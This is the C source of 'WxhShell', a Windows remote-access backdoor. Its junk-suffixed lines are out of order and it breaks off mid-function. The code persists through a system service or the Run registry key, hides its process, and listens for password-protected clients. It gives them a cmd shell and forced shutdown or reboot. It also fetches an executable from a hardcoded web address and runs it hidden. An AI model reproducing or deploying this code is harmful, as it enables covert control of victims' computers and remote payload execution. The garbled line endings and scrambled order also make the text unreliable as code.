  // 关机 4jt(tZS  
  case 'd': { mRa\ wEg%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0<O()NMv  
    if(Boot(SHUTDOWN)) )2_[Ww|.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -n8d#Qm)  
    else { 9:P]{}  
    closesocket(wsh); W.NZ%~|+e/  
    ExitThread(0); <{GVA0nr  
    } uFha N\S  
    break; [dAQrou6P  
    } QFMA y>Gdn  
  // 获取shell =3 Vug2*wd  
  case 's': { LT"H -fTgs  
    CmdShell(wsh); K_@?Q@#YhR  
    closesocket(wsh); :AS`1\ C  
    ExitThread(0); K8R>O *~  
    break; -Caj>K  
  } S*$?~4{R  
  // 退出 {`G d  
  case 'x': { d$jwh(Ivs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =J4|"z:  
    CloseIt(wsh); 1X&.po  
    break; BM`6<Z"3q  
    } 5dB62dqN  
  // 离开 P#7=h:.522  
  case 'q': { 1)MDnODJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &a;?o~%*]i  
    closesocket(wsh); /-,\$@J5)  
    WSACleanup(); M(zZ8#  
    exit(1); X\/M(byn  
    break; #-@u Lc  
        } MM_:2 ^P)  
  } +D:8r|evH  
  } -rn6ZSD)  
'It8h$^j  
  // 提示信息 @0 /qP<E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e"52'zAV-  
} ~7U~   
  } U(9_&sL  
^:]$m;v]  
  return; p |1u,N  
} ,|B-Nq  
H#DvCw  
// shell模块句柄 8'HS$J;C  
int CmdShell(SOCKET sock) {eV8h}KIl  
{ `/ayg:WSU  
STARTUPINFO si; OU"%,&J  
ZeroMemory(&si,sizeof(si)); fj)) Hnt(|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i5t6$|u:&m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f+Sb> $  
PROCESS_INFORMATION ProcessInfo; -~|{q)!F  
char cmdline[]="cmd"; c#sHnpP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =jJEl=*S  
  return 0; C!*.jvhT  
} \1Xk[%  
dniU{v  
// 自身启动模式 :#pdyJQ_  
int StartFromService(void) m^G(qoZ]  
{ P0jr>j@^-  
typedef struct yB2h/~+  
{ p.SipQ.P  
  DWORD ExitStatus; :t]HY2  
  DWORD PebBaseAddress; Pp s-,*m  
  DWORD AffinityMask; {@^;Nw%J  
  DWORD BasePriority; {PcJuRTHB  
  ULONG UniqueProcessId; U~N7\Pa4  
  ULONG InheritedFromUniqueProcessId; <"J]u@|  
}   PROCESS_BASIC_INFORMATION; ]m b8R:a1  
U8w_C\Q  
PROCNTQSIP NtQueryInformationProcess; E5d$n*A  
Z0jgUq`r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /}(d'@8p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Ko6.|  
~vFa\7sf  
  HANDLE             hProcess; M .b8 -`V  
  PROCESS_BASIC_INFORMATION pbi; 4 "HX1qP  
1!~cPD'F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y~-y\l;Tr  
  if(NULL == hInst ) return 0; NEIkG>\7q  
>s f g`4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &$F<]]&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #_@cI(P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Ub_m@@ 4  
yZ|"qP1  
  if (!NtQueryInformationProcess) return 0; 8w&-O~M  
/i'078F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [|DKBJ  
  if(!hProcess) return 0; QEhn  
0N.h:21(4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "6$V1B0KW  
hfaU-IPcFX  
  CloseHandle(hProcess); LH8jT  
 ?pTX4a&>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O1J&Lwpk,  
if(hProcess==NULL) return 0; zTF{ g+  
qd*}d)!  
HMODULE hMod; ~2w&+@dV%  
char procName[255]; elOeXYO0  
unsigned long cbNeeded; 3@> F-N  
u0q$`9J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1iy$n  
(^d7K:-'  
  CloseHandle(hProcess); /kW Z 8Z  
q@|+`>h  
if(strstr(procName,"services")) return 1; // 以服务启动 ^Xk!wJ  
k$w~JO!s  
  return 0; // 注册表启动 H}^'  
} 5p;AON  
#DTKz]i?  
// 主模块 Ps!MpdcL3  
int StartWxhshell(LPSTR lpCmdLine) ,=:K&5mCv  
{ Z/#_Swv  
  SOCKET wsl; OXEk{#Uf[3  
BOOL val=TRUE; &L ;ocd$  
  int port=0; 06&J!,p :  
  struct sockaddr_in door; Jl Do_}  
2Je $SE8  
  if(wscfg.ws_autoins) Install(); _pvB$&  
lvs  XL  
port=atoi(lpCmdLine); hi7_jl6  
ToXWFX  
if(port<=0) port=wscfg.ws_port; `fu_){  
m&.LJ*uM\K  
  WSADATA data; CRb8WD6.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :xh{SsW@  
{Su?*M2y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i"2OsGT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e7vm3<m4  
  door.sin_family = AF_INET; ejROJXB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ALF0d|>=uj  
  door.sin_port = htons(port); /WrB>w  
f98,2I(>`+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |VBt:dd<  
closesocket(wsl); Yh":>~k?SY  
return 1; {ZJO5*  
} m|a9T#B(  
:RaQ =C  
  if(listen(wsl,2) == INVALID_SOCKET) { C"{^wy{sL  
closesocket(wsl); aAo|3KCs  
return 1; WJShN~ E  
} Y[ G_OoU  
  Wxhshell(wsl); ]K=#>rZrB  
  WSACleanup(); ( ;FxKm<P@  
D JP6Z  
return 0; 2;}leZ@U  
~f/|bcep  
} D!<F^mtl  
wu41Mz7  
// 以NT服务方式启动 YB#fAU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =$>=EBH,cm  
{ `+7F H  
DWORD   status = 0; kB7vc>@1  
  DWORD   specificError = 0xfffffff; !NXjax\r  
$%<{zWQm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?|nl93m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7#V7D6j1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MqyjTY::Xg  
  serviceStatus.dwWin32ExitCode     = 0; %pC<T*f  
  serviceStatus.dwServiceSpecificExitCode = 0; ,/;Ae w;  
  serviceStatus.dwCheckPoint       = 0; 1'kO{Ge*p:  
  serviceStatus.dwWaitHint       = 0; =C"[o\]VV  
 q6 CrUn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3uL f0D  
  if (hServiceStatusHandle==0) return; >p_W(u@ z$  
Wn%P.`o#  
status = GetLastError(); l=@ B 'a  
  if (status!=NO_ERROR) <_EKCk  
{ peQwH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B}e/MlX3M  
    serviceStatus.dwCheckPoint       = 0; nzq   
    serviceStatus.dwWaitHint       = 0; rTPgHK]?l  
    serviceStatus.dwWin32ExitCode     = status; J2mHPV A3  
    serviceStatus.dwServiceSpecificExitCode = specificError; uYJS=NGNA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5cSiV7#Y:  
    return; b?H"/Mu.  
  } |;ztK[(  
c4JV~VS+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j-<]OOD  
  serviceStatus.dwCheckPoint       = 0; j3j?2#vR  
  serviceStatus.dwWaitHint       = 0; &D, Iwq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _^NX`<&  
} inP2y?j  
c[dSO(=  
// 处理NT服务事件,比如:启动、停止 gf|uZ9{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u'YXI="(  
{ |z-f 8$  
switch(fdwControl) Y:^hd809  
{ Hon2;-:]{]  
case SERVICE_CONTROL_STOP: |'^s3i&w  
  serviceStatus.dwWin32ExitCode = 0; %iyc1]w{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1\}vU  
  serviceStatus.dwCheckPoint   = 0; F O!Td  
  serviceStatus.dwWaitHint     = 0; A*JOp8\)  
  { /{T&l*'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iaGA9l<b  
  } j=WxtMS  
  return; coP->&(@U#  
case SERVICE_CONTROL_PAUSE: +m=b "g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %(CC  
  break; f56yI]*N=<  
case SERVICE_CONTROL_CONTINUE: Jo?LPR \6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VB |?S|<  
  break; %hB-$nE  
case SERVICE_CONTROL_INTERROGATE: l.Q  
  break; 3efOgP=L  
}; Cxf K(F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~7m`p3W@  
} ? <?Ogq"<  
XlppA3JON|  
// 标准应用程序主函数 g~lv/.CnA+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "?"  :  
{ -&+:7t  
Cbbdq%ySI  
// 获取操作系统版本 ~i,d%a  
OsIsNt=GetOsVer(); &l(T},-X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lg:1zC  
Wu>]R'C  
  // 从命令行安装 eG=d)`.JaV  
  if(strpbrk(lpCmdLine,"iI")) Install(); P,v7twc0M  
r!r08y f  
  // 下载执行文件 xfk -Ezv  
if(wscfg.ws_downexe) { Yuv(4a<M%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tXE/aY*I  
  WinExec(wscfg.ws_filenam,SW_HIDE); dOjly,!  
} pF;.nt)  
b 74 !Zw  
if(!OsIsNt) { ;-db/$O  
// 如果时win9x,隐藏进程并且设置为注册表启动 d$ouH%^cGu  
HideProc(); &RR;'wLoQT  
StartWxhshell(lpCmdLine); WQ|Ufl;  
} $^x=i;>aK.  
else Fh~9(Y#  
  if(StartFromService()) *5'8jC"2g  
  // 以服务方式启动 YPK@BmAdE  
  StartServiceCtrlDispatcher(DispatchTable); rZKh}E  
else &;Ncc,jb  
  // 普通方式启动 O,$*`RZpx  
  StartWxhshell(lpCmdLine); fB2ILRc  
ak7%  
return 0;  \XDiw~0  
} \f,<\mJ#  
}8'_M/u\  
LkbD='\=  
e=Ox~2S  
=========================================== $tlBI:ay1  
^ AZ#tp%)  
b8!oZ~ K  
3.Fko<D4jD  
KOixFn1  
7%h;To-<6  
" p$,7qGST  
{O+T`; =)L  
#include <stdio.h> Laj/~Ru6  
#include <string.h> L*0YOE%=]  
#include <windows.h> [Rj4= qq=  
#include <winsock2.h> z~{08M7  
#include <winsvc.h> z,Xj$wl  
#include <urlmon.h> I:dUHN+@L5  
#}Qe{4L  
#pragma comment (lib, "Ws2_32.lib") /_{-~0Z=@B  
#pragma comment (lib, "urlmon.lib") T;u;r@R/  
P@y)K!{Nk  
#define MAX_USER   100 // 最大客户端连接数 l;M,=ctB(  
#define BUF_SOCK   200 // sock buffer Zma;An6  
#define KEY_BUFF   255 // 输入 buffer C(>!?-.  
[8u9q.IZ  
#define REBOOT     0   // 重启 y&\4Wr9m  
#define SHUTDOWN   1   // 关机 L7ae6#5.  
:6n4i$  
#define DEF_PORT   5000 // 监听端口 [I;C 6p  
&XNt/bK -?  
#define REG_LEN     16   // 注册表键长度 ;CO qu#(  
#define SVC_LEN     80   // NT服务名长度 |AvPg  
1 |z4]R,<  
// 从dll定义API yp~z-aRa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :E W1I>}_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o0Teect=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  II'.vp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u<j;+-]8h  
5Q"yn2b4  
// wxhshell配置信息 ?;#Q3Y+  
struct WSCFG { 6+=_p$crMx  
  int ws_port;         // 监听端口 8kKL=  
  char ws_passstr[REG_LEN]; // 口令 p,=IL_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ll__A|JQ  
  char ws_regname[REG_LEN]; // 注册表键名 :@(1~Hm  
  char ws_svcname[REG_LEN]; // 服务名 CUDA<Fm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 olv&K(-ccI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 we}xGb.u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "yymnIQ3u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0}GO$%l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cO:lpsKYQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Av.`'.b  
F]RPM(!5O)  
}; ts=D  
JbEEI(Q>g  
// default Wxhshell configuration X$<pt,}%  
struct WSCFG wscfg={DEF_PORT, oW OR7)?r  
    "xuhuanlingzhe", !I|_vJ@<  
    1, ; FI'nL  
    "Wxhshell", HRTNIx  
    "Wxhshell", Qfp4}a=  
            "WxhShell Service", ^5Y<evjm  
    "Wrsky Windows CmdShell Service", .joCZKO  
    "Please Input Your Password: ", ;nlJ D#  
  1, ZXLAX9|  
  "http://www.wrsky.com/wxhshell.exe", 6Takx%U  
  "Wxhshell.exe" F=&,=r' Q8  
    }; v1u~[c=|^  
H-t$A, [  
// 消息定义模块 vJr,lBHEk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WiZkIZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 46M=R-7=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qo:Zc`t(R  
char *msg_ws_ext="\n\rExit."; {^ BZ#)m|  
char *msg_ws_end="\n\rQuit."; zEjl@Kf  
char *msg_ws_boot="\n\rReboot..."; */~|IbZ`o  
char *msg_ws_poff="\n\rShutdown..."; [#wt3<d`)  
char *msg_ws_down="\n\rSave to "; 3N]ushMO  
b+Sj\3fX  
char *msg_ws_err="\n\rErr!"; ql%K+4@  
char *msg_ws_ok="\n\rOK!"; i=5!taxu}E  
krGIE}5  
char ExeFile[MAX_PATH]; `?T::&`  
int nUser = 0; YS4"TOFw  
HANDLE handles[MAX_USER]; Q?hf2iw  
int OsIsNt; *56j'FX  
J_a2DM6d  
SERVICE_STATUS       serviceStatus; 51% Rk,/o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *s, bz.[  
nVlZ_72d  
// 函数声明 F.(W`H*1+  
int Install(void); yC@PMyE]  
int Uninstall(void); H.hKh  
int DownloadFile(char *sURL, SOCKET wsh); "#36-  
int Boot(int flag); 4iSN.nxIZ  
void HideProc(void); EqHToD I3  
int GetOsVer(void); Ag3+z+uS  
int Wxhshell(SOCKET wsl); LD{~6RP  
void TalkWithClient(void *cs); `4ga~Ch  
int CmdShell(SOCKET sock); [6\O <-?  
int StartFromService(void); bs}SFTL  
int StartWxhshell(LPSTR lpCmdLine); Rhlm  
d~.hp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gqq< -drR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %/)z!}{  
A+Bq5mik  
// 数据结构和表定义 EAh|$~X  
SERVICE_TABLE_ENTRY DispatchTable[] = b L.Xb y<Y  
{ Q?.9BM1V  
{wscfg.ws_svcname, NTServiceMain}, +-x+c: IxA  
{NULL, NULL} /_JR7BB^X,  
}; jn]l!nm  
WCaMPz  
// 自我安装 6wOj,}2Mn  
int Install(void) ui"`c%2n  
{ 1C=42ZZ&2  
  char svExeFile[MAX_PATH]; ^^V+0 l  
  HKEY key; zWN]#W`  
  strcpy(svExeFile,ExeFile); 0LGHSDb  
X+;#^A3  
// 如果是win9x系统,修改注册表设为自启动 ld%#.~Q  
if(!OsIsNt) { :\mdVS!o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iyR5mA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g}?39?o4  
  RegCloseKey(key); 8eCh5*_$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { amQiH!}8R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'mv|6Y  
  RegCloseKey(key); ,LOx!  
  return 0; pcd?6jh8  
    } F&k<P>k  
  } uI)z4Z  
} +CQIm!Sp  
else { g5nL7;`N  
T_\hhP~  
// 如果是NT以上系统,安装为系统服务 ](+u'8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Rd`/S@  
if (schSCManager!=0) E)'T;%  
{ .i7"qq.M  
  SC_HANDLE schService = CreateService wlwgYAD  
  ( rXrIGgeM  
  schSCManager, .dc|?$XV  
  wscfg.ws_svcname, Qc Xw -  
  wscfg.ws_svcdisp, 3ug>,1:6-  
  SERVICE_ALL_ACCESS, 2_6@&2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s ldcI@Z  
  SERVICE_AUTO_START, s2tNQtq 0W  
  SERVICE_ERROR_NORMAL, %@I= $8j  
  svExeFile, - Lsl  
  NULL, 3D,tnn+J  
  NULL, YEiw!  
  NULL, Ch=jt*0  
  NULL, UHI<8o9  
  NULL /Zz [vf  
  ); }Zp[f6^Q  
  if (schService!=0) DI :  
  { `'rvDaP  
  CloseServiceHandle(schService); xM&`>`;^e  
  CloseServiceHandle(schSCManager); 4SkCV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0sq?>$~Kc*  
  strcat(svExeFile,wscfg.ws_svcname); Z4k'c+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (>\4%(pnD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;MO,HdP;  
  RegCloseKey(key); =EHKu|rX~  
  return 0; P!R`b9_U  
    } Fp+fZU  
  } On;7  
  CloseServiceHandle(schSCManager); !'bZ|j%  
} m*AiP]Qu  
} ` b)i;m  
bz\nCfU  
return 1; H9=8nLb.  
} Q-e(>=Gv_  
|pT[ZT|}G  
// 自我卸载 @ +>>TGC  
int Uninstall(void) nI`9|W  
{ 5N#Sic M  
  HKEY key; (]"`>, ray  
>)F)@KAuN4  
if(!OsIsNt) { [WR*u\FF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V4<f4|IL  
  RegDeleteValue(key,wscfg.ws_regname); "6WE6zq   
  RegCloseKey(key); &7w*=f8I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,u5iiR  
  RegDeleteValue(key,wscfg.ws_regname); {>yy3(N  
  RegCloseKey(key); .UUT@ w?  
  return 0; .A7ON1lc^C  
  } iT~ gt/K  
} jq[Q>"f  
} .|LY /q\A  
else { 9'O@8KB_  
\k%j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I5E4mv0<i  
if (schSCManager!=0) E`q)vk   
{ fTI~wF8!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kI^Pu  
  if (schService!=0) \lpvRZ\L&g  
  { 9!Bz)dJ 3  
  if(DeleteService(schService)!=0) {  LII4sf]  
  CloseServiceHandle(schService); JF9r[%  
  CloseServiceHandle(schSCManager); U;]h/3P  
  return 0; *5" )3\/  
  } j-/F *P  
  CloseServiceHandle(schService); YZc{\~d  
  } Mir( }E  
  CloseServiceHandle(schSCManager); <OGXKv@  
} XNkZ^3mq  
} .#Lu/w' -M  
B|kIiL63 D  
return 1; q!) nSD  
} A{wSO./3  
5eX+9niY  
// 从指定url下载文件 7;ddzxR4  
int DownloadFile(char *sURL, SOCKET wsh) u/HNXJ7M`9  
{ tf{o=X.)  
  HRESULT hr; ;/(<yu48  
char seps[]= "/"; T:VFyby\w  
char *token; _sqV@ J  
char *file; $_u)~O4$  
char myURL[MAX_PATH]; kXZG<?  
char myFILE[MAX_PATH]; }\.Z{h:t ?  
7HQ|3rt  
strcpy(myURL,sURL); 10..<v7  
  token=strtok(myURL,seps); R5r CCp  
  while(token!=NULL) l7S&s&W @  
  { +{&++^(}a  
    file=token; I*= =I4qx  
  token=strtok(NULL,seps); hODq& 9!  
  } F t;[>o  
BA`K,#Ft7  
GetCurrentDirectory(MAX_PATH,myFILE); 2]_fNCNLN  
strcat(myFILE, "\\"); 6V @ [< d  
strcat(myFILE, file); d6g^>}-!t  
  send(wsh,myFILE,strlen(myFILE),0); WTj,9  
send(wsh,"...",3,0); Si=u=FI1e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KqWt4{\8v`  
  if(hr==S_OK) w4;1 ('  
return 0; b^&nr[DC  
else 2~!+EH  
return 1; Kw&t\},8@  
@<=<?T> 1  
} 0`kaT ?>  
K7] +. f  
// 系统电源模块 *l8:%t\  
int Boot(int flag) t|cTl/i 4  
{ u\}"l2 r  
  HANDLE hToken; Xs$UpQo  
  TOKEN_PRIVILEGES tkp; 0)9'x)l:  
 pytF K)U  
  if(OsIsNt) { aF:|MTC(~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yi#U~ h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M>|R&v  
    tkp.PrivilegeCount = 1; eW;0{P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p7]V1w:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sEEyN3 N  
if(flag==REBOOT) {  z-;{pPZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5VK.Zs\  
  return 0; 69EdMuf  
} \WZ]'o6  
else { >vc$3%L[$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VK]sK e  
  return 0; s92SN F}g  
} 2sahb#e )  
  } .L))EB  
  else { 9\a;75a  
if(flag==REBOOT) { "tg?V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pcO0xrI  
  return 0; oC1Nfc+  
}  ^#&:-4/  
else { ffoLCx4o0E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vjO@"2YEw  
  return 0; 5YnTGf&  
} Ce!xa\  
} '( yjq<  
05/'qf7P,U  
return 1; DjveMs$d  
} n8'#'^|  
_*LgpZ-2(  
// win9x进程隐藏模块 NaYr$`  
void HideProc(void) MXGz_Db4'  
{ &WoS(^  
o@A|Lm.   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #m36p+U  
  if ( hKernel != NULL ) 4~mmP.c  
  { ^Qa!{9o[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xHi.N*~D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m}o4Vr;"  
    FreeLibrary(hKernel); ;]sbz4?  
  } &u~#bDh  
clO9l=g  
return; h!q_''*;  
} $ {5|{`  
!ui:0_  
// 获取操作系统版本 <5:`tC2  
int GetOsVer(void) &ub0t9R  
{ @w5x;uB|%G  
  OSVERSIONINFO winfo; ]U)Yg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9a3mN(<  
  GetVersionEx(&winfo); Vs@H>97,G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) acdF5ch@  
  return 1; We?cRb  
  else ;FO( mL(  
  return 0; H&E3RU> `  
} ^%jk.*  
F%^)oQT+c  
// 客户端句柄模块 s8iB>-dk  
int Wxhshell(SOCKET wsl) fH*1.0f]6  
{ 9KGi%UIFvn  
  SOCKET wsh; TIYo&?Z)  
  struct sockaddr_in client; jltW@co2sV  
  DWORD myID; Y;[+^J*a  
vvmG46IgZ  
  while(nUser<MAX_USER) 6Us*zKgW  
{ U3b&/z|b?  
  int nSize=sizeof(client); }?^5L7n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b&\f 8xZ  
  if(wsh==INVALID_SOCKET) return 1; {'$+?V"&  
rs+ ["h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q>Kzl/~c.P  
if(handles[nUser]==0) Hh{pp ^  
  closesocket(wsh); t?;\'  
else Dwg_#GSr  
  nUser++; y,cz;2  
  } s?~lMm' !  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]x:>!y  
3T84f[CFJ  
  return 0; br4?_,  
} 1XPYI  
}\3jcnn  
// 关闭 socket cPbAR'  
void CloseIt(SOCKET wsh) 1%`Nu ]D  
{ 5}NTqN0@  
closesocket(wsh); ;?.w!|6  
nUser--; 32x[6"T  
ExitThread(0); hG8<@  
} \^]*T'>b  
?`T-A\A=  
// 客户端请求句柄 ^SC2k LI  
void TalkWithClient(void *cs) q!4eVg*  
{ ;<N%D=;}@  
$~r_&1  
  SOCKET wsh=(SOCKET)cs; <tT.m[qg  
  char pwd[SVC_LEN]; Z+g9!@'a  
  char cmd[KEY_BUFF]; Q]hl+C$d"/  
char chr[1]; Z )'gj  
int i,j; ne9- c>>  
G;Py%8  
  while (nUser < MAX_USER) { 4c9 a"v  
_(:<l Y aY  
if(wscfg.ws_passstr) { 6'45c1e   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WO!'("  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iph}!3f  
  //ZeroMemory(pwd,KEY_BUFF); ?'RB'o~  
      i=0; lFZl}x  
  while(i<SVC_LEN) { Q%!Dk0-)  
%_%Bb Qf  
  // 设置超时 E(g$f.9  
  fd_set FdRead; FL E3LH  
  struct timeval TimeOut; o8h` 9_  
  FD_ZERO(&FdRead); 7ro&Q%  
  FD_SET(wsh,&FdRead); J^y?nE(j  
  TimeOut.tv_sec=8; Ge1b_?L_  
  TimeOut.tv_usec=0; EFn[[<&><t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bZWdd6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V_/.]zQA  
&M{;[O{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a4\j.(w)$D  
  pwd=chr[0]; E{BX $R_8  
  if(chr[0]==0xd || chr[0]==0xa) { YDYN#Ob(;  
  pwd=0; l!mx,O`  
  break; gfJHB3@  
  } L L? .E  
  i++; )=pa*  
    } zvK'j"Wq=  
D`R~d;U~  
  // 如果是非法用户,关闭 socket t W}"PKv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MFQyB+Z  
} IxaF *4JG  
u~7fK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E<sd\~~A:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JA~q}C7A7o  
Lu CiO  
while(1) { X^Fc^U8  
?&?5x%|.<  
  ZeroMemory(cmd,KEY_BUFF); qs!A)H#  
c8LMvL  
      // 自动支持客户端 telnet标准   Vw]!Kb7tA  
  j=0; eY[kUMo  
  while(j<KEY_BUFF) { j]C}S*`"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'P)c'uqd#  
  cmd[j]=chr[0]; X& mD/1  
  if(chr[0]==0xa || chr[0]==0xd) { H3L uRGe&2  
  cmd[j]=0; b|e1HCH  
  break; 9,[A fI  
  } |y pX O3  
  j++; <$??Z;6  
    } 7n,=`0{r  
54].p7  
  // 下载文件 fcO|0cQ  
  if(strstr(cmd,"http://")) { XAZPbvG|$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /j-c29nz  
  if(DownloadFile(cmd,wsh)) HD'adj_,  
